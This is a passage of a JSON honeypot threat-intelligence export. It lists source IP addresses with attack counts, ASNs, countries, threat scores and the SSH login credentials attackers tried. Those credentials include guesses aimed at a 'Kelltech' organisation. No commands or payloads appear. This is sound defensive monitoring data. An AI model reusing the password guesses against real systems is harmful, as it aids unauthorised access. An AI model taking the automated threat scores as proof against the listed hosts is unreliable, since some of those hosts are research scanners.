        "adminKelltech@123",
        "adminKelltech@2025",
        "adminKelltech@2026"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.8,
        "persistence": 7.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 9,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-06T05:35:30.060000+00:00",
        "last_seen_30d": "2026-03-14T03:22:05.276000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 24,
        "Heralding": 1
      }
    },
    "59.103.119.7": {
      "attack_count": 28,
      "first_seen": "2026-03-14T06:19:56.934Z",
      "last_seen": "2026-03-14T06:22:58.217Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Abbottabad",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T06:19:56.934000+00:00",
        "last_seen_30d": "2026-03-14T06:24:02.105000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "45.142.154.115": {
      "attack_count": 20,
      "first_seen": "2026-03-08T14:29:00.341Z",
      "last_seen": "2026-03-08T14:29:31.744Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "Accept: */*",
        "GET / HTTP/1.1"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9465,
      "as_org": "AGOTOZ PTE. LTD.",
      "threat_score": 33.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.9,
        "persistence": 9.2,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 124,
        "days_active_30d": 11,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-08T14:29:00.341000+00:00",
        "last_seen_30d": "2026-03-18T21:05:00.472000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Honeytrap": 38,
        "Cowrie": 20
      }
    },
    "2.57.122.191": {
      "attack_count": 16,
      "first_seen": "2026-03-14T16:02:33.486Z",
      "last_seen": "2026-03-31T07:03:27.633Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 41.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T16:02:33.486000+00:00",
        "last_seen_30d": "2026-03-31T07:04:36.371000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "66.167.166.138": {
      "attack_count": 14,
      "first_seen": "2026-03-23T18:54:53.748Z",
      "last_seen": "2026-03-23T18:56:24.079Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T18:54:53.748000+00:00",
        "last_seen_30d": "2026-03-23T18:57:31.985000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "120.48.52.177": {
      "attack_count": 12,
      "first_seen": "2026-03-28T19:46:29.507Z",
      "last_seen": "2026-03-28T19:49:51.601Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "12345"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 35.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 6.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 8,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-21T03:38:53+00:00",
        "last_seen_30d": "2026-03-28T20:00:30.378000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 8,
        "Honeytrap": 1
      }
    },
    "134.199.165.65": {
      "attack_count": 12,
      "first_seen": "2026-03-16T10:02:54.236Z",
      "last_seen": "2026-03-17T22:30:24.326Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T10:02:54.236000+00:00",
        "last_seen_30d": "2026-03-17T22:31:32.277000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Cowrie": 12
      }
    },
    "206.168.34.50": {
      "attack_count": 10,
      "first_seen": "2026-03-11T19:36:54.597Z",
      "last_seen": "2026-03-11T19:37:46.927Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 58.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.2,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 22,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T01:27:10+00:00",
        "last_seen_30d": "2026-03-23T04:48:31.951000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Honeytrap": 55,
        "Cowrie": 10,
        "ConPot": 2
      }
    },
    "45.156.129.68": {
      "attack_count": 9,
      "first_seen": "2026-03-14T21:02:40.678Z",
      "last_seen": "2026-03-14T21:02:42.006Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 83.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 75,
        "days_active_30d": 30,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T16:12:22.256000+00:00",
        "last_seen_30d": "2026-03-31T02:35:55.731000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 44,
        "Honeytrap": 21,
        "Cowrie": 9,
        "H0neytr4p": 1
      }
    },
    "147.185.132.132": {
      "attack_count": 8,
      "first_seen": "2026-03-08T16:53:40.730Z",
      "last_seen": "2026-03-30T10:59:28.328Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 76.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 107,
        "days_active_30d": 29,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T01:36:12+00:00",
        "last_seen_30d": "2026-03-30T11:00:32.733000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "Honeytrap": 28,
        "Cowrie": 8
      }
    },
    "45.84.107.17": {
      "attack_count": 8,
      "first_seen": "2026-03-14T19:09:59.806Z",
      "last_seen": "2026-03-14T19:10:21.420Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 76.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.3,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 136,
        "days_active_30d": 26,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T16:26:47+00:00",
        "last_seen_30d": "2026-03-27T13:22:52.289000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 85,
        "Honeytrap": 23,
        "H0neytr4p": 14,
        "Cowrie": 6,
        "Ciscoasa": 5,
        "Tanner": 3
      }
    },
    "80.82.70.133": {
      "attack_count": 8,
      "first_seen": "2026-03-02T07:15:54.276Z",
      "last_seen": "2026-03-22T02:30:12.841Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 93.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 243,
        "days_active_30d": 30,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-02T07:15:54.276000+00:00",
        "last_seen_30d": "2026-03-31T22:29:18.936000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 184,
        "Honeytrap": 26,
        "Dionaea": 9,
        "Redishoneypot": 9,
        "Cowrie": 8,
        "ElasticPot": 3,
        "Honeyaml": 2,
        "Tanner": 2
      }
    },
    "120.157.20.45": {
      "attack_count": 7,
      "first_seen": "2026-03-16T09:21:17.144Z",
      "last_seen": "2026-03-16T09:21:19.633Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "a"
      ],
      "passwords_attempted": [
        "a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-16T09:21:17.144000+00:00",
        "last_seen_30d": "2026-03-16T09:22:28.344000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 5,
        "Honeytrap": 1
      }
    },
    "40.124.175.58": {
      "attack_count": 7,
      "first_seen": "2026-03-29T12:54:06.352Z",
      "last_seen": "2026-03-29T12:54:16.359Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 78.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.1,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 24,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-08T17:55:30.090000+00:00",
        "last_seen_30d": "2026-03-31T16:09:55.920000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 39,
        "Honeytrap": 15,
        "Cowrie": 7,
        "Dionaea": 3
      }
    },
    "38.156.73.226": {
      "attack_count": 6,
      "first_seen": "2026-03-07T17:34:38.164Z",
      "last_seen": "2026-03-07T17:34:38.544Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "",
        "GET / HTTP/1.1"
      ],
      "passwords_attempted": [
        ""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Antakya",
      "asn": 202561,
      "as_org": "High Speed Telekomunikasyon ve Hab. Hiz. Ltd. Sti.",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-07T17:34:38+00:00",
        "last_seen_30d": "2026-03-07T17:44:39.524000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Cowrie": 6,
        "Honeytrap": 3,
        "Adbhoney": 1
      }
    },
    "66.132.195.121": {
      "attack_count": 6,
      "first_seen": "2026-03-28T09:40:46.794Z",
      "last_seen": "2026-03-28T09:41:45.275Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 43.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.3,
        "persistence": 5.0,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 6,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-23T17:32:11+00:00",
        "last_seen_30d": "2026-03-28T09:42:49.777000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Cowrie": 6,
        "CitrixHoneypot": 4,
        "Honeytrap": 2
      }
    },
    "80.71.224.195": {
      "attack_count": 6,
      "first_seen": "2026-03-04T06:07:22.653Z",
      "last_seen": "2026-03-04T06:07:24.232Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 209274,
      "as_org": "Kraken Network ISP LTD",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T05:58:30.630000+00:00",
        "last_seen_30d": "2026-03-04T06:08:24.874000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "172.94.9.65": {
      "attack_count": 5,
      "first_seen": "2026-03-06T02:32:27.172Z",
      "last_seen": "2026-03-06T02:32:29.555Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "#123Kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T12:19:40.243000+00:00",
        "last_seen_30d": "2026-03-06T02:33:37.458000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 5,
        "Heralding": 1
      }
    },
    "192.253.248.92": {
      "attack_count": 5,
      "first_seen": "2026-03-05T21:34:34.128Z",
      "last_seen": "2026-03-05T21:34:36.863Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "Kelltech2026!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:15:37.968000+00:00",
        "last_seen_30d": "2026-03-05T21:35:45.081000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "38.188.160.143": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:24:29.458Z",
      "last_seen": "2026-03-10T23:24:31.842Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "010489"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:24:29.458000+00:00",
        "last_seen_30d": "2026-03-10T23:25:38.233000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.67": {
      "attack_count": 5,
      "first_seen": "2026-03-11T00:01:49.460Z",
      "last_seen": "2026-03-11T00:01:51.850Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "281289"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:01:49.460000+00:00",
        "last_seen_30d": "2026-03-11T00:02:52.735000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "47.85.8.171": {
      "attack_count": 5,
      "first_seen": "2026-03-22T13:12:02.137Z",
      "last_seen": "2026-03-31T15:17:09.116Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 45.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 8.3,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 10,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-22T13:12:02.137000+00:00",
        "last_seen_30d": "2026-03-31T15:18:29.108000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Cowrie": 5,
        "Honeytrap": 3
      }
    },
    "186.208.246.108": {
      "attack_count": 4,
      "first_seen": "2026-03-14T14:59:45.641Z",
      "last_seen": "2026-03-22T15:04:17.038Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Fortaleza",
      "asn": 262887,
      "as_org": "RAPIX INTERNET",
      "threat_score": 19.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T14:59:45.641000+00:00",
        "last_seen_30d": "2026-03-22T15:05:23.922000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "20.15.163.245": {
      "attack_count": 4,
      "first_seen": "2026-03-17T08:37:04.225Z",
      "last_seen": "2026-03-17T08:37:14.763Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 58.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.8,
        "persistence": 18.3,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 22,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-07T22:47:54.235000+00:00",
        "last_seen_30d": "2026-03-28T18:45:49.467000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Honeytrap": 10,
        "Cowrie": 4
      }
    },
    "44.220.188.186": {
      "attack_count": 4,
      "first_seen": "2026-03-15T03:13:58.363Z",
      "last_seen": "2026-03-15T03:13:59.553Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T03:13:58.363000+00:00",
        "last_seen_30d": "2026-03-15T03:15:02.359000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "45.90.57.71": {
      "attack_count": 4,
      "first_seen": "2026-03-31T07:04:57.946Z",
      "last_seen": "2026-03-31T07:05:00.396Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Geneva",
      "asn": 204957,
      "as_org": "Green Floid LLC",
      "threat_score": 53.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.8,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:15:56.240000+00:00",
        "last_seen_30d": "2026-03-31T07:06:07.945000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Cowrie": 4
      }
    },
    "50.19.163.240": {
      "attack_count": 4,
      "first_seen": "2026-03-19T00:55:47.881Z",
      "last_seen": "2026-03-19T00:55:53.293Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
